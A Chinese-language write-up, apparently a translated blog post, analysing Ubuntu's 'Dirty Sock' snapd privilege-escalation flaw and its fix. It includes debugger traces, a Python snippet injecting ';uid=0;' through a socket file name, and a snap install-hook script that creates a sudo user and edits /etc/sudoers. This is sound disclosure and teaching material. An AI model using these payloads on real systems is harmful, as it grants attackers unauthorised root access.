2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限。

概述

首先在此提供dirty_sock代码仓库中两个有效的exploit:

dirty_sockv1:基于Ubuntu SSO的详细信息,使用create-user API创建本地用户。

dirty_sockv2:侧加载snap,其中包含生成新本地用户的install hook。

两者都对默认安装的Ubuntu有效。大部分测试是在18.10版本完成的,不过旧版本也受改漏洞影响。值得一提的是,snapd团队对此漏洞回应迅速且处理妥善。直接与他们合作也是非常愉快。

snapd提供了附加到本地UNIX_AF socket的REST API,通过查询与该socket连接的关联UID来实现对API的访问控制。在for循环进行字符串解析的过程中,用户可控的socket数据可以覆盖UID变量,从而允许任何用户访问任何API函数。而通过访问API,有多种方法可以获取root权限,上面链接的exploit就展示了两种可能性。

背景:什么是snap?

为了简化Linux系统上的打包应用程序,各种新的竞争标准纷纷出现。作为其中的一个发行版,Ubuntu Linux的开发商Canonical也在推广他们的“Snap”,类似于Windows应用程序,snap将所有应用程序依赖项转换为单个二进制文件。

Snap生态包含一个“应用商店”,开发人员可以在其中发布和维护即时可用的软件包。

本地的snap和在线商店的通信部分由系统服务“snapd”处理。此服务自动安装在Ubuntu中,并在“root”用户的上下文中运行。Snapd正在发展成为Ubuntu操作系统的重要组成部分,特别是在用于云和物联网的“Snappy Ubuntu Core”等更精简的发行版中。

漏洞总览

有趣的Linux操作系统信息

snapd服务在位于/lib/systemd/system/snapd.service的unit文件中被描述。

以下是前几行:

[Unit]Description=Snappy daemonRequires=snapd.socket

顺着这个我们找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:

[Socket]ListenStream=/run/snapd.socketListenStream=/run/snapd-snap.socketSocketMode=0666

Linux通过称为“AFUNIX”的socket在同一台机器上的进程之间进行通信。“AFINET”和“AF_INET6”socket则用于通过网络连接的进程通信。上面显示的内容告诉我们系统创建了两个socket文件。'0666'模式则为所有人设置文件读写权限,只有这样才可以允许任何进程连接并进行socket通信。

我们可以通过文件系统在查看这些socket文件:

$ ls -aslh /run/snapd*0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

我们可以通过Linux中的nc工具(只要是BSD风格)连接到像这样的AF_UNIX socket。以下是一个示例。

$ nc -U /run/snapd.socketHTTP/1.1 400 Bad RequestContent-Type: text/plain; charset=utf-8Connection: close400 Bad Request

碰巧,攻击者在入侵计算机后要做的第一件事就是查找在root上下文中运行的隐藏服务,HTTP服务器是利用的主要目标,而它们通常与网络套接字有关。

现在我们知道有一个很好的利用目标 - 一个隐藏可能没有被广泛测试的HTTP服务。另外,我正在开发一个提权工具uptux,该工具可识别出此漏洞。

存在漏洞的代码

作为一个开源项目,我们利用源代码继续进行静态分析。开发人员提供了有关此REST API的文档。

对于利用而言,一个非常需要的API函数是“POST/v2/create-user”,简称为“创建本地用户”。文档告诉我们这个调用需要root权限才能执行。那么守护进程究竟是如何确定访问API的用户是否已经拥有root权限?

顺着代码我们找到了这个文件,现在来看这一行:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

这是调用golang的标准库之一,用来收集与套接字连接相关的用户信息。基本上,AF_UNIX socket系列有一个选项,可以在附加数据中接收发送过程的凭据(请参阅Linux命令行中的man unix)。这是确定访问API的进程权限的一种相当可靠的方法。

通过使用名为delve的golang调试器,我们可以确切地看到上文执行“nc”命令时返回的内容。下面是在此函数中设置断点时调试器的输出,然后使用delve的“print”命令来显示变量“ucred”当前包含的内容:

> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()...   109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)=> 110: if err != nil {...(dlv) print ucred*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

不错。它知道了我的uid为1000,即将拒绝我访问敏感的API函数。如果程序在这种状态下调用这些变量,那么结果就符合预期了,然而事实并非如此。

其实在此函数中还包含一些额外的处理,其中连接信息与上面发现的值会一起被添加到一个新对象:

func (wc *ucrednetConn) RemoteAddr() net.Addr {return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}}

这些值被拼接成一个字符串变量:

func (wa *ucrednetAddr) String() string {    return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)}

最后经由函数解析,字符串再次被分解为单个变量

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {...for _, token := range strings.Split(remoteAddr, ";") {var v uint64...} else if strings.HasPrefix(token, "uid=") {if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {uid = uint32(v)} else {break}

最后一个函数的作用是将字符串用“;”字符拆分,然后查找以“uid =”开头的任何内容。当它遍历完所有拆分时,第二次出现的“uid =”会覆盖掉第一个。

所以如果我们能以某种方式将任意文本注入此函数中...

回到delve调试器,我们可以查看一下“remoteAddr”字符串,看看在实现正确的HTTP GET请求的“nc”连接中它包含了什么:

请求:

$ nc -U /run/snapd.socketGET / HTTP/1.1Host: 127.0.0.1

调试器输出:

github.com/snapcore/snapd/daemon.ucrednetGet()...=>  41: for _, token := range strings.Split(remoteAddr, ";") {...(dlv) print remoteAddr"pid=5127;uid=1000;socket=/run/snapd.socket;@"

现在的情况是,我们有一个字符串变量,其中所有变量都拼接在一起,该字符串包含四个元素。第二个元素“uid = 1000”是当前控制权限的内容。

函数将此字符串通过“;”拆分并迭代,如果字符串包含“uid=”),则可能会覆盖第一个“uid =”。

第一个(socket=/run/snapd.socket)是用来监听socket的本地“网络地址”:是服务所定义的绑定文件路径。我们无法修改snapd,也无法让其使用另一个socket名来运行。但是字符串末尾的“@”符号是什么? 这个是从哪里来的?变量名“remoteAddr”给了一个很好的提示。在调试器中费了些周折,我们可以看到golang标准库(net.go)返回本地网络地址和远程地址。你可以在下面的调试会话中看到输出为“laddr”和“raddr”。

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)...=> 210: func (c *conn) LocalAddr() Addr {...(dlv) print c.fd...laddr: net.Addr(*net.UnixAddr) *{Name: "/run/snapd.socket",Net: "unix",},raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

远程地址会被设置为神秘的@符号。进一步阅读man unix帮助信息后,我们了解到这与“抽象命名空间”有关,用来绑定独立于文件系统的socket。命名空间中的socket开头为null-byte,该字符在终端中通常会显示为@。

我们可以创建绑定到我们控制的文件名的socket,而不依赖netcat利用的抽象套接字命名空间。这应该允许我们影响想要修改的字符串变量的最后部分,也就是上文的“raddr”变量。

使用一些python代码,我们可以创建一个包含“;uid=0;”字符串的文件名,通过socket绑定该文件,来启动与snapd API的连接。

以下为PoC代码片段:

## 设置包含payload的socket名称sockfile = "/tmp/sock;uid=0;"## 绑定socketclient_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)client_sock.bind(sockfile)## 连接到snap守护进程client_sock.connect('/run/snapd.socket')

现在再看一下remoteAddr变量,观察调试器中发生的事情:

> github.com/snapcore/snapd/daemon.ucrednetGet()...=>  41: for _, token := range strings.Split(remoteAddr, ";") {...(dlv) print remoteAddr"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

我们注入了一个假的uid 0,即root用户,它会在最后一次迭代中覆盖实际的uid。这样我们就能够访问API的受保护功能。

在调试器中继续观察来验证这一点,并看到uid被设置为0:

> github.com/snapcore/snapd/daemon.ucrednetGet()...=>  65: return pid, uid, socket, err...(dlv) print uid0

武器化使用

版本一

dirty_sockv1利用的是“POST/v2/create-user”这个API函数。要利用该漏洞,我们只需在Ubuntu SSO上创建一个账户,然后将SSH公钥上传到账户目录中,接下来使用如下命令来利用漏洞(使用注册的邮箱和关联的SSH私钥):

$ dirty_sockv1.py -u 你的@邮箱.com -k id_rsa

这种方法是非常可靠的,可以安全执行。你可以止步这里并自己尝试获得root权限。

还在看? 好吧,对互联网连接和SSH服务的要求一直在变,我想看看我是否可以在更受限制的环境中利用。这导致我们有了版本二。

版本二

dirty_sockv2使用了“POST/v2/snaps” API来侧加载snap,该snap中包含一个bash脚本,可以添加一个本地用户。这个版本适用于没有运行SSH服务的系统,也适用于没有互联网连接的新版Ubuntu。然而,侧加载需要一些核心snap依赖,如果不存在这些依赖,可能会触发snapd服务的更新操作。这个场景下,我发现这个版本仍然有效,但只能使用一次。

snap本身运行在沙箱环境中,并且数字签名需要匹配主机已信任的公钥。然而我们可以通过处于开发模式(“devmode”)的snap来降低这些限制条件,这样snap就能像其他应用那样访问主机操作系统。

此外snap引入了“hooks”机制,其中“install hook”会在snap安装时运行,并且“install hook”可以是一个简单的shell脚本。如果snap配置为“devmode”,那么这个hook会在root上下文中运行。

我创建了一个简单的snap,该snap没有其他功能,只是会在安装阶段执行的一个bash脚本。

该脚本会运行如下命令:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bashusermod -aG sudo dirty_sockecho "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

上面加密字符串只是使用Python crypt.crypt()函数处理“dirty_sock”所创建的文本。

以下命令显示了详细创建此快照的过程,这都是在开发机器上完成的,而不是目标机器。snap创建完毕后,我们可以将其转换为base64文本,以便包含到完整的python利用代码中。

## 安装必要工具sudo apt install snapcraft -y## 创建空目录cd /tmpmkdir dirty_snapcd dirty_snap## 初始化目录作为snap项目snapcraft init## 设置安装hookmkdir snap/hookstouch snap/hooks/installchmod a+x snap/hooks/install## 写下我们想要以root执行的脚本cat > snap/hooks/install << "EOF"#!/bin/bashuseradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bashusermod -aG sudo dirty_sockecho "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoersEOF## 配置snap yaml文件cat > snap/snapcraft.yaml << "EOF"name: dirty-sockversion: '0.1' summary: Empty snap, used for exploitdescription: |    See https://github.com/initstring/dirty_sockgrade: develconfinement: devmodeparts:  my-part:    plugin: nilEOF## 搭建snapsnapcraft

一旦有了snap文件,我们就可以通过bash将它转换为base64,如下所示:

$ base64 

base64编码的文本可以放在dirtysock.py漏洞利用代码开头的全局变量“TROJANSNAP”中。

漏洞利用代码本身是用python中写的,可以执行以下操作:

1.创建一个文件,文件名包含";uid=0;"

2.将socket绑定到该文件

3.连接到snap API

4.删除(上次留下的)snap

5.(在install hook将运行时)安装snap

6.删除snap

7.删除临时socket文件

8.提示祝你利用成功

预防和补救措施

打上补丁,snapd团队在披露后迅速修复了漏洞。

*参考来源:shenaniganslabs,thehackernews,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

是什么 通信中unit_Ubuntu Linux中的特权提升漏洞Dirty Sock分析(含PoC)相关推荐

  1. linux的tar中ztvf,linux中的tar命令(2)

    实例4:只将 /tar 内的 部分文件解压出来 命令: tar -zxvf /opt/soft/test/log30.tar.gz log2013.log 输出: [root@localhost te ...

  2. linux变量中代,linux中shell变量$#,$@,$0,$1,$2和变量${0%/*}

    一直傻傻搞不清,还是梳理一下吧. linux中shell变量$#,$@,$0,$1,$2的含义解释: 变量说明: $$ Shell本身的PID(ProcessID) $! Shell最后运行的后台Pr ...

  3. Linux中.rpm,Linux中rpm的使用

    1.安装 rpm -i 需要安装的包文件名 举例如下: rpm -i example.rpm 安装 example.rpm 包: rpm -iv example.rpm 安装 example.rpm ...

  4. linux命令中info,Linux中zipinfo命令起什么作用呢?

    摘要: 下文讲述Linux中zipinfo的功能说明,如下所示: zipinfo(zip information的英文缩写) zipinfo命令功能: 用于输出压缩文件信息, 返回压缩文件的详细信息 ...

  5. linux显示文件中特殊字符,Linux中的特殊符号与正则表达式

    第1章 linux的特殊符号 1.1 通配符 * {} 1.1.1 含义 方便查找文件 通配符是用来找文件名字的. 1.1.2  * 通过find 命令找以 .sh 结尾的文件,使用*替代文件名字. ...

  6. linux 脚本中 -le,Linux中编写Shell脚本

    目录 Shell Shell是一个命令解释器,它的作用是解释执行用户输入的命令及程序等. 用户每输入一条命令,Shell就执行一条.这种从键盘输入命令,就可以立即得到回应的对话方式,称为交互的方式. ...

  7. Linux Polkit本地权限提升漏洞(CVE-2021-4034)

    漏洞描述 Polkit是用于在Linux操作系统中控制系统范围特权的组件.它为非特权进程提供了与特权进程进行通信的有组织的方式.类似"sudo"的用法. CVE-2021-4034 ...

  8. linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...

    0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

  9. php 中find,Linux中find命令的用法汇总

    Linux系统中的 find 命令在查找文件时非常有用而且方便.它可以根据不同的条件来查找文件,例如权限.拥有者.修改日期/时间.文件大小等等.在这篇文章中,我们将学习如何使用 find 命令以及它所 ...

最新文章

  1. 阶乘C语言超出范围,阶乘新问题-题解(C语言代码)
  2. 将磁盘上的一个文本文件的内容复制到另一个文件中
  3. 计算机MCI风险快速筛查系统,轻度认知障碍风险快速筛查工具的测算过程及判别效果分析...
  4. jquery 如何保存拖动空间的位置
  5. aliplayer 手机全屏控件不显示_Flutter 强大的MediaQuery控件
  6. GlusterFS架构与维护
  7. 优秀!师兄妹齐发Science,师妹22岁担任一作!同为曹原中科大校友
  8. 计算机应用基础(高起专)答案,东北师范大学14秋《计算机应用基础(高起专)》14秋在线作业1答案...
  9. 从小白到大数据技术专家的学习历程,你准备好了吗
  10. 华为全新折叠屏方案曝光:让人眼前一亮!
  11. Day7--误差反向传播
  12. ​为什么你应该申请去小型的初创公司实习?
  13. python keras_用Python/Keras/Flask/Docker在Kubernetes上部署深度学习模型
  14. mybatis-generator逆向工程设置不生成Example类
  15. RRZCMS安全防护建议
  16. 坚果云Outlook邮件管理体系畅享高效办公生活
  17. erpc(EmbeddedRPC)入门笔记
  18. pyQt5 学习笔记(6)设置鼠标(光标)样式
  19. 计算机退回登录界面,win7开机怎么自动登录用户?Win进入桌面又返回登录界面故障解决...
  20. oracle查询员工员工部门领导领导部门,oracle多表查询之经典面试题

热门文章

  1. 保姆级教程 CSS 知识点梳理大全,超详细!!!
  2. 【Vue】—动态组件
  3. 前端性能优化—回流与重绘
  4. 数据库原理—关系模型的数据操作(八)
  5. python调用图灵api_python调用API实现智能回复机器人
  6. Discord是什么
  7. 后来,我学会了每做完一件事
  8. 有人问曹德旺:你经历的最大的困难是什么?
  9. 为什么有些人会放弃考研?
  10. 蚊子喜欢咬什么人,蚊子喜欢什么血型,蚊子喜欢叮咬什么血型的人